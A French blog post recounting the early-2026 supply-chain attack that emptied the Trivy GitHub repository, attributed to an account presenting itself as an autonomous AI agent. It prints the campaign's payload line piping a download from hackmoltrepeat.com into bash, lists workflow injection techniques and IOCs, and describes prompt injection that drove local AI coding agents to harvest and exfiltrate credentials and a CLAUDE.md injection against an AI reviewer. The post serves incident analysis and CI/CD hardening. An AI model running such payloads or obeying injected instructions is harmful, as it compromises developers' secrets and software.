Trivy vidé après une attaque supply chain par un bot IA

Mis à jour le 4 mars 2026 Publié le 1 mars 2026

18 min de lecture

#trivy#securite#open-source#devsecops#supply-chain#github-actions

Ce dimanche 1er mars 2026, en travaillant sur mon homelab, j’ai eu une sacrée surprise. Je mettais à jour mes outils via mise, et l’installation de Trivy 0.69.1 a échoué avec une erreur 404. Intrigué, j’ai commencé à creuser. Ce que j’ai trouvé m’a scotché : le dépôt GitHub aquasecurity/trivy était complètement vide. Ce que je pensais être un bug s’est révélé être l’une des attaques supply chain les plus marquantes de 2026.

Capture d'écran de l'erreur mise

Plus une seule étoile sur GitHub, comme le montre l’image ci-dessus.

La découverte

Tout a commencé par une erreur banale :

mise ERROR Failed to install trivy@0.69.1
curl: (22) The requested URL returned error: 404

Première réaction : un problème de version ? J’ai essayé plusieurs variantes — avec le préfixe v, sans, différentes versions. Même résultat. J’ai alors vérifié directement sur GitHub :

gh release list --repo aquasecurity/trivy
# no releases found

gh api repos/aquasecurity/trivy --jq '.description'
# "This is your first repository"

Le dépôt aquasecurity/trivy est vide. Pas « quelques releases manquantes ». Non. Complètement vide. Aucun code, aucune release, aucun tag. La description par défaut de GitHub — « This is your first repository » — s’affiche en guise de bienvenue.

Pour rappel, Trivy est l’un des scanners de vulnérabilités open source les plus utilisés dans l’écosystème cloud native et ci/cd. Il scanne les images de conteneurs, les fichiers IaC (Terraform, Kubernetes), les dépôts de code, les SBOM… ~25 000 étoiles sur GitHub, des centaines de contributeurs, intégré dans Harbor, GitLab, GitHub Actions… Et là, rien.

Capture d'écran du dépôt vide

Le paradoxe : le site fonctionne, le dépôt est vide

Le site trivy.dev fonctionne parfaitement. La documentation v0.69 est en ligne. La page d’installation référence même la version 0.69.1 :

# Extrait de la doc officielle (trivy.dev)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \
  | sudo sh -s -- -b /usr/local/bin v0.69.1

Sauf que ce script pointe vers le dépôt GitHub… qui est vide.

J’ai testé systématiquement toutes les méthodes d’installation :

Méthode	Résultat
`mise install trivy@0.69.1` (backend aqua)	404 — pas de release GitHub
`mise install` (backend asdf via `zufardhiyaulhaq/asdf-trivy`)	404 — même cause
Install script officiel	Pointe vers GitHub Releases → 404
Téléchargement direct du binaire	Pas de release à télécharger
`mise ls-remote trivy`	Liste 0.69.1 depuis le cache, mais le binaire n’existe pas

Seules les méthodes qui ne passent pas par GitHub Releases pourraient encore fonctionner : le dépôt APT/YUM, Homebrew, ou les gestionnaires de paquets des distributions. Quasi 100 % des méthodes d’installation de Trivy passent par GitHub Releases. Un seul point de défaillance.

Ce qui s’est réellement passé

Ma première hypothèse — un nettoyage de maintenance ou une réponse à incident de la part d’Aqua Security — était fausse. Les analyses publiées dans les jours suivants, et surtout la discussion #10265 ouverte par les mainteneurs, ont révélé la réalité : les actions destructrices ont été réalisées via le PAT compromis, pas par Aqua Security.

La chronologie de l’attaque

Grâce à knqyf263 (mainteneur principal de Trivy), qui a publié la timeline issue des audit logs GitHub :

Date	Événement
27 fév., 00:18 UTC	PR #10252 créée et fermée immédiatement, déclenchant le CI. Le compte auteur a depuis été supprimé par GitHub.
27 fév., 12:01 UTC	Début d’activité API non autorisée via le PAT compromis.
27 fév., 12:36 UTC	Advisory de sécurité malveillant créé dans `trivy-vscode-extension`.
28 fév., 03:17 UTC	PR de `hackerbot-claw` créée et fermée.
1er mars, 00:14 UTC	Suppression massive des releases (v0.27.0 à v0.69.1) via script automatisé.
1er mars, 00:27 UTC	Dépôt renommé en `private-trivy`, dépôt factice vide poussé à la place.

Selon les mainteneurs, les indicateurs (code pays, user agent, hash du PAT) suggèrent que l’auteur de la PR #10252 et hackerbot-claw sont le même acteur.

Le vecteur d’attaque : `pull_request_target`

Le point d’entrée était un workflow GitHub Actions utilisant pull_request_target — un trigger qui s’exécute avec les permissions du dépôt cible, même quand la PR vient d’un fork. Ce workflow, le « API Diff Check » (corrigé via la PR #10259), existait depuis octobre 2025.

L’attaquant a ouvert une PR qui a déclenché ce workflow, obtenant un PAT (Personal Access Token) avec des permissions étendues. Via ce PAT, les actions suivantes ont été réalisées :

Suppression de toutes les releases GitHub (v0.27.0 à v0.69.1)
Renommage du dépôt en private-trivy et push d’un dépôt vide à la place
Publication d’une extension VS Code malveillante sur OpenVSX

L’extension VS Code compromise : du prompt injection ciblant les IA locales

L’analyse de Socket révèle la dimension la plus innovante de l’attaque :

Les versions OpenVSX 1.8.12 (27 fév.) et 1.8.13 (28 fév.) contenaient du code injecté lançant 5 agents IA locaux (Claude, Codex, Gemini, Copilot CLI, Kiro) en mode permissif maximal.
La v1.8.12 embarquait un prompt de reconnaissance (~2 000 mots) visant à collecter credentials, tokens et données sensibles, et à les exfiltrer via tous les canaux disponibles.
La v1.8.13 affinait l’exfiltration : écriture d’un REPORT.MD puis push via gh CLI dans un repo posture-report-trivy.
Socket qualifie cette technique d’« AI-assisted supply chain abuse » — du prompt injection ciblant des agents IA locaux.
Fenêtre d’exposition : ~34 heures. Le token de publication OpenVSX a été révoqué par un ancien employé d’Aqua. Aucun repo public posture-report-trivy n’existe à ce jour.

hackerbot-claw : une campagne coordonnée contre 7 dépôts

Trivy n’était pas une cible isolée. Le même jour que ma découverte, StepSecurity a publié une analyse révélant une campagne systématique. Les developpeurs de Plumber ont complété avec une synthèse sur la gouvernance CI/CD.

Entre le 21 et le 28 février 2026, hackerbot-claw — un compte GitHub se décrivant comme un « autonomous security research agent powered by claude-opus-4-5 » — a ciblé 7 dépôts majeurs. Selon StepSecurity, l’exécution de code a été confirmée sur au moins 4 cibles :

Cible	Technique	Résultat
aquasecurity/trivy (~25k étoiles)	Vol de PAT via `pull_request_target`	Compromission totale : toutes les releases supprimées, extension VS Code malveillante
avelino/awesome-go (140k+ étoiles)	Go `init()` empoisonné dans un script de qualité	RCE confirmée + vol de `GITHUB_TOKEN` avec écriture
project-akri/akri (CNCF)	Injection directe dans `version.sh`	RCE confirmée
microsoft/ai-discovery-agent	Injection via le nom de branche git	RCE probable (délai de 2m38s suspect)
DataDog/datadog-iac-scanner	Commandes base64 dans les noms de fichiers	RCE probable — correctifs d’urgence en 9h
RustPython/RustPython (~20k étoiles)	Injection base64 via le nom de branche	Exécution partielle (échec de décodage)
ambient-code/platform	Prompt injection ciblant un reviewer IA (Claude)	Détectée et bloquée par Claude

Chaque attaque utilisait une technique différente, mais toutes livraient le même payload : curl -sSfL hackmoltrepeat.com/molt | bash.

Les anti-patterns exploités

Toutes les attaques ciblaient les mêmes faiblesses connues des workflows GitHub Actions — documentées dans le OWASP Top 10 CI/CD Security Risks :

pull_request_target avec checkout du code du fork — le classique « Pwn Request ». Le workflow s’exécute avec les permissions du dépôt cible mais exécute le code de l’attaquant.
Expressions ${{ }} non échappées dans des blocs run: — injection directe de commandes shell via des métadonnées contrôlées par l’attaquant (nom de branche, nom de fichier, commentaire).
Absence de contrôle author_association — n’importe qui pouvait déclencher des workflows via des commentaires comme /version minor ou /format.
Permissions excessives sur le GITHUB_TOKEN — contents: write là où contents: read aurait suffi.

La prompt injection IA : une technique inédite

L’attaque contre ambient-code/platform mérite une mention. L’attaquant a remplacé le fichier CLAUDE.md (instructions de projet pour Claude Code) par des instructions malveillantes demandant à l’IA de modifier README.md et de poster un faux commentaire d’approbation. Claude (claude-sonnet-4-6) a détecté et refusé l’attaque, publiant un avertissement détaillé au lieu de se conformer.

L’impact concret

Trivy cassé partout

Toutes les CI/CD utilisant aquasecurity/trivy-action ou téléchargeant le binaire depuis les releases : cassées.
Les pipelines de sécurité dépendant de Trivy pour le scan d’images avant déploiement : en arrêt.
Les outils de gestion de versions (mise, asdf) : incapables d’installer Trivy.
Les Dockerfiles embarquant Trivy via le script d’installation : en échec.

La chaîne de confiance brisée

L’ironie est mordante : un outil de sécurité utilisé pour scanner les vulnérabilités des autres est lui-même victime d’une attaque supply chain. Qui scanne le scanner ? Si votre pipeline de sécurité repose sur un outil unique et que cet outil est compromis, toute votre chaîne de confiance s’effondre.

Les ~25 000 étoiles GitHub ont été perdues (comme l’incident HTTPie/Stardust). Les forks existants ont été réassociés à fossabot/trivy, qui s’est retrouvé avec 3 000 forks du jour au lendemain. Les PR ouvertes par des contributeurs ont été réassociées à un autre dépôt.

Réponse d’Aqua Security et de la communauté

1er mars : première communication

Le soir même, itaysk (mainteneur Trivy) a publié une communication officielle confirmant l’incident. Le dépôt a été restauré depuis une copie propre, et une v0.69.2 de remplacement a été publiée dans la foulée. Le workflow vulnérable a été corrigé via la PR #10259.

AdnaneKhan (chercheur en sécurité GitHub Actions) a retrouvé la PR du bot. Dans sa branche, hackerbot-claw avait laissé un message affirmant avoir obtenu le PAT et l’avoir révoqué lui-même, se présentant comme un « white hat ». Le message a été supprimé 30 minutes plus tard (probablement par GitHub qui a supprimé le compte).

2-4 mars : analyses externes et correctifs

Socket a publié l’analyse de l’extension VS Code compromise, révélant les 5 agents IA locaux et les prompts d’exfiltration.
knqyf263 a fourni la timeline complète issue des audit logs.
DmitriyLewen (mainteneur Trivy) a confirmé que trivy-db est restauré et fonctionnel, et que les mainteneurs n’ont pas identifié de modification du code source (les commit IDs sont vérifiables indépendamment).
La v0.69.3 a été publiée le 3 mars avec releases immutables activées, SBOM (bom.json) et attestation Sigstore — des mesures qui durcissent la chaîne de publication et rendent ce type de sabotage plus difficile.
Les releases immutables ont été activées sur trivy-action également.

Ce qui reste incertain

Malgré la réactivité de l’équipe, plusieurs questions restent ouvertes :

Scope du PAT compromis — avait-il des permissions sur d’autres dépôts de l’organisation aquasecurity ? Aucun scope détaillé communiqué.
Fenêtre d’audit — le workflow vulnérable existe depuis octobre 2025, mais les déploiements de get.trivy.dev n’ont été vérifiés que depuis décembre. Deux mois non couverts.
Nombre d’installations des extensions 1.8.12/1.8.13 sur OpenVSX — aucun chiffre publié.
Intégrité des anciennes releases — les assets v0.27.0 à v0.69.1 ayant été supprimés via le PAT compromis, ils ne sont plus vérifiables indépendamment. La communauté a demandé à GitHub les logs d’API.
Clé GPG pour les paquets APT/YUM — possiblement perdue, aucune confirmation officielle.
Le bot affirme avoir révoqué le PAT — mais c’est le bot qui le dit. Et « #OperationShutdown » ne semble pas particulièrement bienveillant comme hashtag.
Pas de post-mortem indépendant publié à ce jour.

Indicateurs de compromission (IOC)

Si vous maintenez des projets open source, voici les indicateurs à surveiller :

Type	Valeur
Domaine payload	`hackmoltrepeat.com`
Domaine exfiltration	`recv.hackmoltrepeat.com`
Compte GitHub	hackerbot-claw (créé le 20 février 2026)
Pattern de branche	Noms en emoji pour masquer l’intention
Commentaires déclencheurs	`/format`, `/sync-metadata`, `/version minor`, `@claude`
Portefeuille ETH	`0x6BAFc2A022087642475A5A6639334e8a6A0b689a`
Portefeuille BTC	`bc1q49rr8zal9g3j4n59nm6sf30930e69862qq6f6u`

Les outils pour auditer vos pipelines

Cet incident a mis en lumière l’existence d’outils d’audit spécifiques pour les pipelines CI/CD. Quatre outils complémentaires à connaître :

poutine (BoostSecurity) — Scanner de sécurité CI/CD multi-plateforme (GitHub Actions, GitLab CI, Azure DevOps, Tekton). 13 règles intégrées couvrant exactement les patterns exploités par hackerbot-claw (untrusted_checkout_exec, injection, default_permissions_on_risky_events…). Peut scanner une organisation entière en une commande.
zizmor — Analyse statique spécifique à GitHub Actions, écrit en Rust. 30+ règles de sécurité avec un mode --fix pour corriger automatiquement les problèmes courants.
StepSecurity Harden-Runner — Protection runtime des runners GitHub Actions. Monitore et peut bloquer le trafic réseau sortant non autorisé. C’est cet outil qui a détecté la campagne hackerbot-claw et le payload vers hackmoltrepeat.com.
Plumber — Conformité CI/CD pour GitLab. CLI open source + plateforme pour la gouvernance à l’échelle d’une organisation.

Plateforme	Analyse statique	Protection runtime
GitHub Actions	poutine + zizmor	StepSecurity Harden-Runner
GitLab CI/CD	Plumber CLI + Platform	Contrôles réseau
Multi-plateforme	poutine (GitHub, GitLab, Azure DevOps, Tekton)	Contrôles par plateforme

Les leçons à tirer

Chaque vulnérabilité exploitée par hackerbot-claw est un anti-pattern documenté depuis des années. Les correctifs sont connus :

Auditez vos workflows GitHub Actions — Vérifiez que vous n’utilisez pas pull_request_target avec un checkout du code du fork. C’est le vecteur n°1.
Échappez les expressions ${{ }} — Passez-les par des variables d’environnement plutôt que de les interpoler dans des blocs run:.
Ajoutez des contrôles author_association — Seuls les membres et owners devraient pouvoir déclencher des workflows via des commentaires.
Appliquez le moindre privilège — contents: read par défaut, write uniquement quand c’est strictement nécessaire.
Surveillez le trafic réseau sortant — Des outils comme Harden-Runner peuvent bloquer les appels vers des domaines non autorisés.
Activez les releases immutables — cette option durcit la chaîne de publication et rend la suppression de releases plus difficile.
Ne dépendez pas d’un seul outil de sécurité — Combinez Trivy avec Checkov, Grype, ou d’autres scanners.
Traitez les fichiers de workflow comme du code critique — Ajoutez .github/workflows/ au CODEOWNERS et exigez une approbation des mainteneurs pour toute modification.

Ce qu’il faut faire maintenant

Passer à la v0.69.3 — première release avec releases immutables, SBOM (bom.json) et attestation Sigstore.
Si vous utilisez l’extension VS Code Trivy via OpenVSX — désinstallez-la et réinstallez depuis le marketplace officiel VS Code.
Si vous avez installé Trivy entre le 21 et le 28 février — vérifiez l’intégrité de votre binaire.
Auditez vos workflows avec poutine ou zizmor.
Suivre la discussion officielle — Trivy security incident 2026-03-01 #10265

Mon questionnement

Ce qui devait être un dimanche tranquille sur mon homelab s’est transformé en plongée dans l’une des attaques supply chain les plus marquantes de 2026.

Le workflow vulnérable (pull_request_target) existait depuis octobre 2025. L’audit ne couvre que depuis décembre. Qu’est-ce qui s’est passé pendant ces deux mois ?

On fait confiance au bot quand il dit avoir révoqué le PAT lui-même. Mais c’est le bot qui le dit.

Ce n’est pas un humain qui a mené cette attaque. C’est un bot IA autonome qui scanne, identifie les failles et exploite les workflows — 24h/24, sans fatigue. Comme le note StepSecurity : « You can’t defend against automation with manual controls. »

Je suis passé à la v0.69.3 dans mon mise.toml. Mais je considère cet incident comme non clos tant qu’un post-mortem complet et indépendant n’a pas été publié.

Sources :

Discussion officielle #10265 — source de vérité pour la timeline et les réponses des mainteneurs
Analyse StepSecurity — analyse technique de la campagne hackerbot-claw
Analyse Socket — Extension VS Code compromise
Analyse Plumber — CI/CD governance — impact, outillage et gouvernance CI/CD
Release v0.69.3